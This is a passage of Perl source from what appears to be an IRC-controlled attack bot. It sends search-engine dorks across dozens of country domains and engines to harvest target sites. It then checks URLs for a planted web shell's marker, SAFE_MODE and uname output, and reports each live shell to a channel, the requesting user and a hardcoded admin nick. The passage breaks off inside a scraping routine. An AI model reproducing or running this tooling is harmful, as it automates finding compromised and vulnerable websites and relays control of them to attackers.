  3811.     &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3812.         &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3813.     }
  3814.     return @print;
  3815. }
  3816. sub os2() {
  3817.     my $url = $_[0];
  3818.     my $chan = $_[1];
  3819.     my $engine = $_[2];
  3820.     my $logo = $_[3];
  3821.     my $nick = $_[4];
  3822.     my @print;
  3823.         my $admin = "hammed";
  3824.     my $target = &get_content($url);
  3825.     if ($target =~ /BArNEr/i) {
  3826.     my $safe = ""; my $os = "";
  3827.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3828.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3829.     &msg("$chan","$logo4target sent to 12$nick 14$safe $os");
  3830.     &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3831.         &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3832.         &msg("$chanxxx","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3833.     }
  3834.     return @print;
  3835. }
  3836.  
  3837. sub os3() {
  3838.     my $url = $_[0];
  3839.     my $chan = $_[1];
  3840.     my $engine = $_[2];
  3841.     my $logo = $_[3];
  3842.     my $nick = $_[4];
  3843.     my @print;
  3844.     my $target = &get_content($url);
  3845.     if ($target =~ /BArNEr/i) {
  3846.     my $safe = ""; my $os = "";
  3847.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3848.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3849.     &msg("$chan","$logo4target sent to 12$nick 14$safe $os");
  3850.     &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3851.         &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3852.         &msg("$chanxxx","$logo4$engine 12sHeLL4 ".$url." 14$safe $os");
  3853.     }
  3854.         return @print;
  3855. }
  3856. ##################################################################################
  3857. ##################################################################################
  3858. sub search_engine() {
  3859. my (@total,@clean);
  3860. my $chan = $_[0];
  3861. my $bug = $_[1];
  3862. my $dork = $_[2];
  3863. my $engine = $_[3];
  3864. my $logo = $_[4];
  3865. if ($gps == 1) {
  3866. if ($engine eq "AE") { my @ae = &barnner1($dork."+site:ae"); push(@total,@ae); }
  3867. if ($engine eq "AR") { my @ar = &barnner2($dork."+site:ar"); push(@total,@ar); }
  3868. if ($engine eq "AT") { my @at = &barnner3($dork."+site:at"); push(@total,@at); }
  3869. if ($engine eq "AU") { my @au = &barnner4($dork."+site:au"); push(@total,@au); }
  3870. if ($engine eq "BR") { my @br = &barnner5($dork."+site:br"); push(@total,@br); }
  3871. if ($engine eq "CA") { my @ca = &barnner6($dork."+site:ca"); push(@total,@ca); }
  3872. if ($engine eq "CL") { my @cl = &barnner7($dork."+site:cl"); push(@total,@cl); }
  3873. if ($engine eq "CN") { my @cn = &barnner8($dork."+site:cn"); push(@total,@cn); }
  3874. if ($engine eq "CoM") { my @com = &barnner9($dork."+site:com"); push(@total,@com); }
  3875. if ($engine eq "CZ") { my @cz = &barnner10($dork."+site:cz"); push(@total,@cz); }
  3876. if ($engine eq "DE") { my @de = &barnner11($dork."+site:de"); push(@total,@de); }
  3877. if ($engine eq "DK") { my @dk = &barnner12($dork."+site:dk"); push(@total,@dk); }
  3878. if ($engine eq "ES") { my @es = &barnner13($dork."+site:es"); push(@total,@es); }
  3879. if ($engine eq "EU") { my @eu = &barnner14($dork."+site:eu"); push(@total,@eu); }
  3880. if ($engine eq "FR") { my @fr = &barnner15($dork."+site:fr"); push(@total,@fr); }
  3881. if ($engine eq "HU") { my @hu = &barnner16($dork."+site:hu"); push(@total,@hu); }
  3882. if ($engine eq "ID") { my @id = &barnner17($dork."+site:id"); push(@total,@id); }
  3883. if ($engine eq "IL") { my @il = &barnner18($dork."+site:il"); push(@total,@il); }
  3884. if ($engine eq "IN") { my @in = &barnner19($dork."+site:in"); push(@total,@in); }
  3885. if ($engine eq "InfO") { my @info = &barnner20($dork."+site:info"); push(@total,@info); }
  3886. if ($engine eq "IR") { my @ir = &barnner21($dork."+site:ir"); push(@total,@ir); }
  3887. if ($engine eq "IT") { my @it = &barnner22($dork."+site:it"); push(@total,@it); }
  3888. if ($engine eq "JP") { my @jp = &barnner23($dork."+site:jp"); push(@total,@jp); }
  3889. if ($engine eq "KR") { my @kr = &barnner24($dork."+site:kr"); push(@total,@kr); }
  3890. if ($engine eq "MX") { my @mx = &barnner25($dork."+site:mx"); push(@total,@mx); }
  3891. if ($engine eq "MY") { my @my = &barnner1($dork."+site:my"); push(@total,@my); }
  3892. if ($engine eq "NeT") { my @net = &barnner2($dork."+site:net"); push(@total,@net); }
  3893. if ($engine eq "NL") { my @nl = &barnner3($dork."+site:nl"); push(@total,@nl); }
  3894. if ($engine eq "OrG") { my @org = &barnner4($dork."+site:org"); push(@total,@org); }
  3895. if ($engine eq "PH") { my @ph = &barnner5($dork."+site:ph"); push(@total,@ph); }
  3896. if ($engine eq "PL") { my @pl = &barnner6($dork."+site:pl"); push(@total,@pl); }
  3897. if ($engine eq "RO") { my @ro = &barnner7($dork."+site:ro"); push(@total,@ro); }
  3898. if ($engine eq "RU") { my @ru = &barnner8($dork."+site:ru"); push(@total,@ru); }
  3899. if ($engine eq "TH") { my @th = &barnner9($dork."+site:th"); push(@total,@th); }
  3900. if ($engine eq "UA") { my @ua = &barnner10($dork."+site:ua"); push(@total,@ua); }
  3901. if ($engine eq "UK") { my @uk = &barnner11($dork."+site:uk"); push(@total,@uk); }
  3902. if ($engine eq "US") { my @us = &barnner12($dork."+site:us"); push(@total,@us); }
  3903. if ($engine eq "SI") { my @si = &barnner13($dork."+site:si"); push(@total,@si); }
  3904. if ($engine eq "BE") { my @be = &barnner14($dork."+site:be"); push(@total,@be); }
  3905. if ($engine eq "BIZ") { my @biz = &barnner15($dork."+site:biz"); push(@total,@biz); }
  3906. if ($engine eq "AG") { my @ag = &barnner16($dork."+site:ag"); push(@total,@ag); }
  3907. if ($engine eq "AI") { my @ai = &barnner17($dork."+site:ai"); push(@total,@ai); }
  3908. if ($engine eq "AN") { my @an = &barnner18($dork."+site:an"); push(@total,@an); }
  3909. if ($engine eq "AQ") { my @aq = &barnner19($dork."+site:aq"); push(@total,@aq); }
  3910. if ($engine eq "AS") { my @as = &barnner20($dork."+site:as"); push(@total,@as); }
  3911. if ($engine eq "AW") { my @aw = &barnner21($dork."+site:aw"); push(@total,@aw); }
  3912. if ($engine eq "AZ") { my @az = &barnner22($dork."+site:az"); push(@total,@az); }
  3913. if ($engine eq "AX") { my @ax = &barnner23($dork."+site:ax"); push(@total,@ax); }
  3914. if ($engine eq "BA") { my @ba = &barnner24($dork."+site:ba"); push(@total,@ba); }
  3915. if ($engine eq "BF") { my @bf = &barnner25($dork."+site:bf"); push(@total,@bf); }
  3916. if ($engine eq "BH") { my @bh = &barnner1($dork."+site:bh"); push(@total,@bh); }
  3917. if ($engine eq "BI") { my @bi = &barnner2($dork."+site:bi"); push(@total,@bi); }
  3918. if ($engine eq "BJ") { my @bj = &barnner3($dork."+site:bj"); push(@total,@bj); }
  3919. if ($engine eq "BM") { my @bm = &barnner4($dork."+site:bm"); push(@total,@bm); }
  3920. if ($engine eq "BO") { my @bo = &barnner5($dork."+site:bo"); push(@total,@bo); }
  3921. if ($engine eq "BS") { my @bs = &barnner6($dork."+site:bs"); push(@total,@bs); }
  3922. if ($engine eq "BT") { my @bt = &barnner7($dork."+site:bt"); push(@total,@bt); }
  3923. if ($engine eq "BV") { my @bv = &barnner8($dork."+site:bv"); push(@total,@bv); }
  3924. if ($engine eq "BW") { my @bw = &barnner9($dork."+site:bw"); push(@total,@bw); }
  3925. if ($engine eq "CC") { my @cc = &barnner10($dork."+site:cc"); push(@total,@cc); }
  3926. if ($engine eq "CD") { my @cd = &barnner11($dork."+site:cd"); push(@total,@cd); }
  3927. if ($engine eq "CI") { my @ci = &barnner12($dork."+site:ci"); push(@total,@ci); }
  3928. if ($engine eq "CM") { my @cm = &barnner13($dork."+site:cm"); push(@total,@cm); }
  3929. if ($engine eq "CO") { my @co = &barnner14($dork."+site:co"); push(@total,@co); }
  3930. if ($engine eq "CX") { my @cx = &barnner15($dork."+site:cx"); push(@total,@cx); }
  3931. if ($engine eq "CY") { my @cy = &barnner16($dork."+site:cy"); push(@total,@cy); }
  3932. if ($engine eq "DD") { my @dd = &barnner17($dork."+site:dd"); push(@total,@dd); }
  3933. if ($engine eq "DJ") { my @dj = &barnner18($dork."+site:dj"); push(@total,@dj); }
  3934. if ($engine eq "DM") { my @dm = &barnner19($dork."+site:dm"); push(@total,@dm); }
  3935. if ($engine eq "DZ") { my @dz = &barnner20($dork."+site:dz"); push(@total,@dz); }
  3936. if ($engine eq "EC") { my @ec = &barnner21($dork."+site:ec"); push(@total,@ec); }
  3937. if ($engine eq "EE") { my @ee = &barnner22($dork."+site:ee"); push(@total,@ee); }
  3938. if ($engine eq "EG") { my @eg = &barnner23($dork."+site:eg"); push(@total,@eg); }
  3939. if ($engine eq "EH") { my @eh = &barnner24($dork."+site:eh"); push(@total,@eh); }
  3940. if ($engine eq "ER") { my @er = &barnner25($dork."+site:er"); push(@total,@er); }
  3941. if ($engine eq "ET") { my @et = &barnner1($dork."+site:et"); push(@total,@et); }
  3942. if ($engine eq "FI") { my @fi = &barnner2($dork."+site:fi"); push(@total,@fi); }
  3943. if ($engine eq "FJ") { my @fj = &barnner3($dork."+site:fj"); push(@total,@fj); }
  3944. if ($engine eq "FO") { my @fo = &barnner4($dork."+site:fo"); push(@total,@fo); }
  3945. if ($engine eq "GA") { my @ga = &barnner5($dork."+site:ga"); push(@total,@ga); }
  3946. if ($engine eq "GB") { my @gb = &barnner6($dork."+site:gb"); push(@total,@gb); }
  3947. if ($engine eq "GE") { my @ge = &barnner7($dork."+site:ge"); push(@total,@ge); }
  3948. if ($engine eq "HK") { my @hk = &barnner8($dork."+site:hk"); push(@total,@hk); }
  3949. if ($engine eq "HM") { my @hm = &barnner9($dork."+site:hm"); push(@total,@hm); }
  3950. if ($engine eq "HN") { my @hn = &barnner10($dork."+site:hn"); push(@total,@hn); }
  3951. if ($engine eq "IQ") { my @iq = &barnner11($dork."+site:iq"); push(@total,@iq); }
  3952. if ($engine eq "KW") { my @kw = &barnner12($dork."+site:kw"); push(@total,@kw); }
  3953. if ($engine eq "LB") { my @lb = &barnner13($dork."+site:lb"); push(@total,@lb); }
  3954. if ($engine eq "LR") { my @lr = &barnner14($dork."+site:lr"); push(@total,@lr); }
  3955. if ($engine eq "LY") { my @ly = &barnner15($dork."+site:ly"); push(@total,@ly); }
  3956. if ($engine eq "ME") { my @me = &barnner16($dork."+site:me"); push(@total,@me); }
  3957. if ($engine eq "MM") { my @mm = &barnner17($dork."+site:mm"); push(@total,@mm); }
  3958. if ($engine eq "MZ") { my @mz = &barnner18($dork."+site:mz"); push(@total,@mz); }
  3959. if ($engine eq "NC") { my @nc = &barnner19($dork."+site:nc"); push(@total,@nc); }
  3960. if ($engine eq "NE") { my @ne = &barnner20($dork."+site:ne"); push(@total,@ne); }
  3961. if ($engine eq "NO") { my @no = &barnner21($dork."+site:no"); push(@total,@no); }
  3962. if ($engine eq "PA") { my @pa = &barnner22($dork."+site:pa"); push(@total,@pa); }
  3963. if ($engine eq "PY") { my @py = &barnner23($dork."+site:py"); push(@total,@py); }
  3964. if ($engine eq "RS") { my @rs = &barnner24($dork."+site:rs"); push(@total,@rs); }
  3965. if ($engine eq "SA") { my @sa = &barnner25($dork."+site:sa"); push(@total,@sa); }
  3966. if ($engine eq "SD") { my @sd = &barnner1($dork."+site:sd"); push(@total,@sd); }
  3967. if ($engine eq "SG") { my @sg = &barnner2($dork."+site:sg"); push(@total,@sg); }
  3968. if ($engine eq "SK") { my @sk = &barnner3($dork."+site:sk"); push(@total,@sk); }
  3969. if ($engine eq "SY") { my @sy = &barnner4($dork."+site:sy"); push(@total,@sy); }
  3970. if ($engine eq "TW") { my @tw = &barnner5($dork."+site:tw"); push(@total,@tw); }
  3971. if ($engine eq "UY") { my @uy = &barnner6($dork."+site:uy"); push(@total,@uy); }
  3972. if ($engine eq "VE") { my @ve = &barnner7($dork."+site:ve"); push(@total,@ve); }
  3973. if ($engine eq "WS") { my @ws = &barnner8($dork."+site:ws"); push(@total,@ws); }
  3974. if ($engine eq "ZA") { my @za = &barnner9($dork."+site:za"); push(@total,@za); }
  3975. if ($engine eq "ZM") { my @zm = &barnner10($dork."+site:zm"); push(@total,@zm); }
  3976. if ($engine eq "ZW") { my @zw = &barnner11($dork."+site:zw"); push(@total,@zw); }
  3977. }
  3978. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  3979. if ($gps2 == 1) {
  3980. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  3981. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  3982. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  3983. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  3984. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  3985. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  3986. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  3987. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  3988. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  3989. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  3990. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  3991. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  3992. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  3993.     if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  3994.     if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  3995.     if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  3996.     if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  3997.     if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  3998.     if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  3999.     if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  4000.     if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  4001.     if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  4002.     if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  4003.     if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  4004.     if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  4005.     if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  4006.     if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  4007.     if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  4008.     if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  4009.     if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  4010.     if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  4011.     if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  4012.     if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  4013.     if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  4014.     if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  4015.     if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  4016.     if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  4017.     if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  4018.     if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  4019.     if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  4020.     if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  4021.     if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  4022.     if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  4023.     if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  4024.     if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  4025.     if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  4026.     if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  4027.     if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  4028.     if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  4029.     if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  4030.     if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  4031.     if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  4032.     if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  4033.     if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  4034.     if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  4035.     if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  4036.     if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  4037.     if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  4038.     if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  4039.     if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  4040.     if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  4041.     if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  4042.     if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  4043.     if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  4044.     if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  4045.     if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  4046.     if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  4047.     if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  4048.     if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  4049.     if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  4050.     if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  4051.     if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  4052.     if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  4053.     if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  4054. }
  4055. @clean = &clean(@total);
  4056. if ($silentmode == 0) {
  4057. &msg("$chan","$logo15,1$engine 4,1 ".scalar(@clean)." 15Total Clean"); }
  4058. return @clean;
  4059. }
  4060. ##################################################################################
  4061. sub isFound() {
  4062. my $status = 0;
  4063. my $link = $_[0];
  4064. my $reqexp = $_[1];
  4065. my $res = &get_content($link);
  4066. if ($res =~ /$reqexp/) { $status = 1 }
  4067. return $status;
  4068. }
  4069. sub get_content() {
  4070. my $url = $_[0];
  4071. my $ua = LWP::UserAgent->new(agent => $uagent);
  4072. $ua->timeout($timot);
  4073. my $req = HTTP::Request->new(GET => $url);
  4074. my $res = $ua->request($req);
  4075. return $res->content;
  4076. }
  4077. ######################################### SEARCH ENGINE
  4078. sub barnner1() {
  4079. my @list;
  4080. my $key = $_[0];
  4081. for (my $i=0; $i<=1000; $i+=100){
  4082. my $search = ($barner1.uri_escape($key)."&num=100&start=".$i);
  4083. my $res = &search_engine_query($search);
  4084. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4085. my $link = $1;
  4086. if ($link !~ /google/){
  4087. my @grep = &links($link);
  4088. push(@list,@grep);
  4089. }
  4090. }
  4091. }
  4092. return @list;
  4093. }
  4094. sub barnner2() {
  4095. my @list;
  4096. my $key = $_[0];
  4097. for (my $i=0; $i<=1000; $i+=100){
  4098. my $search = ($barner2.uri_escape($key)."&num=100&start=".$i);
  4099. my $res = &search_engine_query($search);
  4100. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4101. my $link = $1;
  4102. if ($link !~ /google/){
  4103. my @grep = &links($link);
  4104. push(@list,@grep);
  4105. }
  4106. }
  4107. }
  4108. return @list;
  4109. }
  4110. sub barnner3() {
  4111. my @list;
  4112. my $key = $_[0];
  4113. for (my $i=0; $i<=1000; $i+=100){
  4114. my $search = ($barner3.uri_escape($key)."&num=100&start=".$i);
  4115. my $res = &search_engine_query($search);
  4116. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4117. my $link = $1;
  4118. if ($link !~ /google/){
  4119. my @grep = &links($link);
  4120. push(@list,@grep);
  4121. }
  4122. }
  4123. }
  4124. return @list;
  4125. }
  4126. sub barnner4() {
  4127. my @list;
  4128. my $key = $_[0];
  4129. for (my $i=0; $i<=1000; $i+=100){
  4130. my $search = ($barner4.uri_escape($key)."&num=100&start=".$i);
  4131. my $res = &search_engine_query($search);
  4132. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4133. my $link = $1;
  4134. if ($link !~ /google/){
  4135. my @grep = &links($link);
  4136. push(@list,@grep);
  4137. }
  4138. }
  4139. }
  4140. return @list;
  4141. }
  4142. sub barnner5() {
  4143. my @list;
  4144. my $key = $_[0];
  4145. for (my $i=0; $i<=1000; $i+=100){
  4146. my $search = ($barner5.uri_escape($key)."&num=100&start=".$i);
  4147. my $res = &search_engine_query($search);
  4148. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4149. my $link = $1;
  4150. if ($link !~ /google/){
  4151. my @grep = &links($link);
  4152. push(@list,@grep);
  4153. }
  4154. }
  4155. }
  4156. return @list;
  4157. }
  4158. sub barnner6() {
  4159. my @list;
  4160. my $key = $_[0];
  4161. for (my $i=0; $i<=1000; $i+=100){
  4162. my $search = ($barner6.uri_escape($key)."&num=100&start=".$i);
  4163. my $res = &search_engine_query($search);
  4164. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4165. my $link = $1;
  4166. if ($link !~ /google/){
  4167. my @grep = &links($link);
  4168. push(@list,@grep);
  4169. }
  4170. }
  4171. }
  4172. return @list;
  4173. }
  4174. sub barnner7() {
  4175. my @list;
  4176. my $key = $_[0];
  4177. for (my $i=0; $i<=1000; $i+=100){
  4178. my $search = ($barner7.uri_escape($key)."&num=100&start=".$i);
  4179. my $res = &search_engine_query($search);
  4180. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4181. my $link = $1;
  4182. if ($link !~ /google/){
  4183. my @grep = &links($link);
  4184. push(@list,@grep);
  4185. }
  4186. }
  4187. }
  4188. return @list;
  4189. }
  4190. sub barnner8() {
  4191. my @list;
  4192. my $key = $_[0];
  4193. for (my $i=0; $i<=1000; $i+=100){
  4194. my $search = ($barner8.uri_escape($key)."&num=100&start=".$i);
  4195. my $res = &search_engine_query($search);
  4196. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4197. my $link = $1;
  4198. if ($link !~ /google/){
  4199. my @grep = &links($link);
  4200. push(@list,@grep);
  4201. }
  4202. }
  4203. }
  4204. return @list;
  4205. }
  4206. sub barnner9() {
  4207. my @list;
  4208. my $key = $_[0];
  4209. for (my $i=0; $i<=1000; $i+=100){
  4210. my $search = ($barner9.uri_escape($key)."&num=100&start=".$i);
  4211. my $res = &search_engine_query($search);
  4212. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4213. my $link = $1;
  4214. if ($link !~ /google/){
  4215. my @grep = &links($link);
  4216. push(@list,@grep);
  4217. }
  4218. }
  4219. }
  4220. return @list;
  4221. }
  4222. sub barnner10() {
  4223. my @list;
  4224. my $key = $_[0];
  4225. for (my $i=0; $i<=1000; $i+=100){
  4226. my $search = ($barner10.uri_escape($key)."&num=100&start=".$i);
  4227. my $res = &search_engine_query($search);
  4228. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4229. my $link = $1;
  4230. if ($link !~ /google/){
  4231. my @grep = &links($link);
  4232. push(@list,@grep);
  4233. }
  4234. }
  4235. }
  4236. return @list;
  4237. }
  4238. sub barnner11() {
  4239. my @list;
  4240. my $key = $_[0];
  4241. for (my $i=0; $i<=1000; $i+=100){
  4242. my $search = ($barner11.uri_escape($key)."&num=100&start=".$i);
  4243. my $res = &search_engine_query($search);
  4244. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4245. my $link = $1;
  4246. if ($link !~ /google/){
  4247. my @grep = &links($link);
  4248. push(@list,@grep);
  4249. }
  4250. }
  4251. }
  4252. return @list;
  4253. }
  4254. sub barnner12() {
  4255. my @list;
  4256. my $key = $_[0];
  4257. for (my $i=0; $i<=1000; $i+=100){
  4258. my $search = ($barner12.uri_escape($key)."&num=100&start=".$i);
  4259. my $res = &search_engine_query($search);
  4260. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4261. my $link = $1;
  4262. if ($link !~ /google/){
  4263. my @grep = &links($link);
  4264. push(@list,@grep);
  4265. }
  4266. }
  4267. }
  4268. return @list;
  4269. }
  4270. sub barnner13() {
  4271. my @list;
  4272. my $key = $_[0];
  4273. for (my $i=0; $i<=1000; $i+=100){
  4274. my $search = ($barner13.uri_escape($key)."&num=100&start=".$i);
  4275. my $res = &search_engine_query($search);
  4276. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4277. my $link = $1;
  4278. if ($link !~ /google/){
  4279. my @grep = &links($link);
  4280. push(@list,@grep);
  4281. }
  4282. }
  4283. }
  4284. return @list;
  4285. }
  4286. sub barnner14() {
  4287. my @list;
  4288. my $key = $_[0];
  4289. for (my $i=0; $i<=1000; $i+=100){
  4290. my $search = ($barner14.uri_escape($key)."&num=100&start=".$i);
  4291. my $res = &search_engine_query($search);
  4292. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4293. my $link = $1;
  4294. if ($link !~ /google/){
  4295. my @grep = &links($link);
  4296. push(@list,@grep);
  4297. }
  4298. }
  4299. }
  4300. return @list;
  4301. }
  4302. sub barnner15() {
  4303. my @list;
  4304. my $key = $_[0];
  4305. for (my $i=0; $i<=1000; $i+=100){
  4306. my $search = ($barner15.uri_escape($key)."&num=100&start=".$i);
  4307. my $res = &search_engine_query($search);
  4308. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4309. my $link = $1;
  4310. if ($link !~ /google/){
  4311. my @grep = &links($link);
  4312. push(@list,@grep);
  4313. }
  4314. }
  4315. }
  4316. return @list;
  4317. }
  4318. sub barnner16() {
  4319. my @list;
  4320. my $key = $_[0];
  4321. for (my $i=0; $i<=1000; $i+=100){
  4322. my $search = ($barner16.uri_escape($key)."&num=100&start=".$i);
  4323. my $res = &search_engine_query($search);
  4324. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4325. my $link = $1;
  4326. if ($link !~ /google/){
  4327. my @grep = &links($link);
  4328. push(@list,@grep);
  4329. }
  4330. }
  4331. }
  4332. return @list;
  4333. }
  4334. sub barnner17() {
  4335. my @list;
  4336. my $key = $_[0];
  4337. for (my $i=0; $i<=1000; $i+=100){
  4338. my $search = ($barner17.uri_escape($key)."&num=100&start=".$i);
  4339. my $res = &search_engine_query($search);
  4340. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4341. my $link = $1;
  4342. if ($link !~ /google/){
  4343. my @grep = &links($link);
  4344. push(@list,@grep);
  4345. }
  4346. }
  4347. }
  4348. return @list;
  4349. }
  4350. sub barnner18() {
  4351. my @list;
  4352. my $key = $_[0];
  4353. for (my $i=0; $i<=1000; $i+=100){
  4354. my $search = ($barner18.uri_escape($key)."&num=100&start=".$i);
  4355. my $res = &search_engine_query($search);
  4356. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4357. my $link = $1;
  4358. if ($link !~ /google/){
  4359. my @grep = &links($link);
  4360. push(@list,@grep);
  4361. }
  4362. }
  4363. }
  4364. return @list;
  4365. }
  4366. sub barnner19() {
  4367. my @list;
  4368. my $key = $_[0];
  4369. for (my $i=0; $i<=1000; $i+=100){
  4370. my $search = ($barner19.uri_escape($key)."&num=100&start=".$i);
  4371. my $res = &search_engine_query($search);
  4372. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4373. my $link = $1;
  4374. if ($link !~ /google/){
